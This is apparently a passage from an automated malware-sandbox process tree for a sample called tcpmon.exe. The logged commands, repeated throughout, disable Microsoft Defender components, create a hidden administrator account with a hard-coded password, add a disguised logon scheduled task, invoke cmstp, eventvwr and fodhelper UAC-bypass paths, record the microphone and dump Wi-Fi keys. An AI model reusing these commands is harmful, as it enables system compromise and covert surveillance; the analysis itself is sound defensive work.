      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:6452
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:3448
      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:6232
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216626967994470.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4628
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:8792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:2412
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:6336
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:6872
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:6792
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:5048
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:7192
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:9880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216626970152295.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:2164
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:5624
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:2872
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:4176
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:6616
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:6240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216626995848268.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10848
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:11160

C:\Users\Admin\AppData\Local\tcpmon.exe
C:\Users\Admin\AppData\Local\tcpmon.exe
1⤵
PID:860
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2996
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\223e3fb3-13af-4bee-a36c-28c15b79cf92.inf
  2⤵
  PID:1304
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:764
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:5260
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:4228
- - C:\Users\Admin\AppData\Local\tcpmon.exe
    "C:\Users\Admin\AppData\Local\tcpmon.exe"
    3⤵
    PID:6060
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5256
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\668305a6-8fb9-40b3-b059-765b1c7ddb3e.inf
      4⤵
      PID:820
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:4848
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:1092
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:5612
    - - C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        5⤵
        
        PID:3372
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6948
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\253db173-d857-4190-816b-82deb796bf99.inf
        6⤵
        
        PID:6960
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:7036
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:3336
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:616
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        7⤵
        
        PID:6828
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6088
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d2e60780-8264-4dc9-8bf5-0d2830c91c83.inf
        8⤵
        
        PID:7184
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:7312
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:7452
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:7624
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        9⤵
        
        PID:7900
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8416
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3945656c-8d17-4b33-a8fa-65f7b36b29bd.inf
        10⤵
        
        PID:8808
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:9004
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:9076
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:9084
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        11⤵
        
        PID:8144
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10116
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\6f865499-7f04-47b2-a01b-89235a8d3c91.inf
        12⤵
        
        PID:10160
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:6308
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:9292
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:9160
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        13⤵
        
        PID:9100
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4964
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d5d39aab-a183-40bd-bd3d-573d0792cb18.inf
        14⤵
        
        PID:7824
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:10392
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:10616
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:5852
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        15⤵
        
        PID:11908
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11924
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\31fcb2a1-6912-4c06-9ef3-8303654a4f33.inf
        16⤵
        
        PID:11728
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:8256
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:11804
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:10672
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        17⤵
        
        PID:12692
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12428
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\dd0dffdb-f063-4d7e-9a2f-9a5559d31793.inf
        18⤵
        
        PID:12592
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:13132
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:8276
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:13188
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        19⤵
        
        PID:4148
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13616
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\4bc032f3-6a04-4004-aa92-c0343d2342e0.inf
        20⤵
        
        PID:13760
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:13980
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:14204
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:14168
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        21⤵
        
        PID:13544
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9040
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d509fc91-f4a7-4c7a-9d76-1f86300bd045.inf
        22⤵
        
        PID:14008
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        22⤵
        
        PID:14328
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        23⤵
        
        PID:10608
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        22⤵
        
        PID:5208
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        23⤵
        
        PID:200
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        24⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4172
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\45b180ef-65fe-44fd-831a-d4ebae6f79ba.inf
        24⤵
        
        PID:6216
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        24⤵
        
        PID:10068
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        25⤵
        
        PID:11652
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        24⤵
        
        PID:6780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        24⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:11032
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        22⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13324
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        22⤵
        Creates a new local user account
        
        PID:4240
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        23⤵
        Creates a new local user account
        
        PID:10992
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        22⤵
        
        PID:13336
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        23⤵
        
        PID:11708
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        22⤵
        
        PID:11744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:14188
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        Creates a new local user account
        
        PID:8584
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:12236
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:12416
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:14172
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        20⤵
        
        PID:5312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10732
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:10252
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:928
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:7060
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:8824
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:5896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627843222553.wav')"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4704
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:11936
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:12504
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:10020
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:12736
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:3512
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:12904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627597039706.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4612
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5024
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:992
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:11920
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:6036
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:10600
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:8704
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:12348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627432380256.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9820
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5888
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8252
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:10944
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:416
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:8588
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:4612
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:11788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627322421266.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10908
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:7440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9112
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:8740
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:9448
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:8540
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:9692
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:9064
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627148912211.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9772
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7688
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:1296
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:4768
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:8068
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:8612
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:8904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627085898571.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5684
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10452
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6092
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:2776
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:6716
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:7148
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:7056
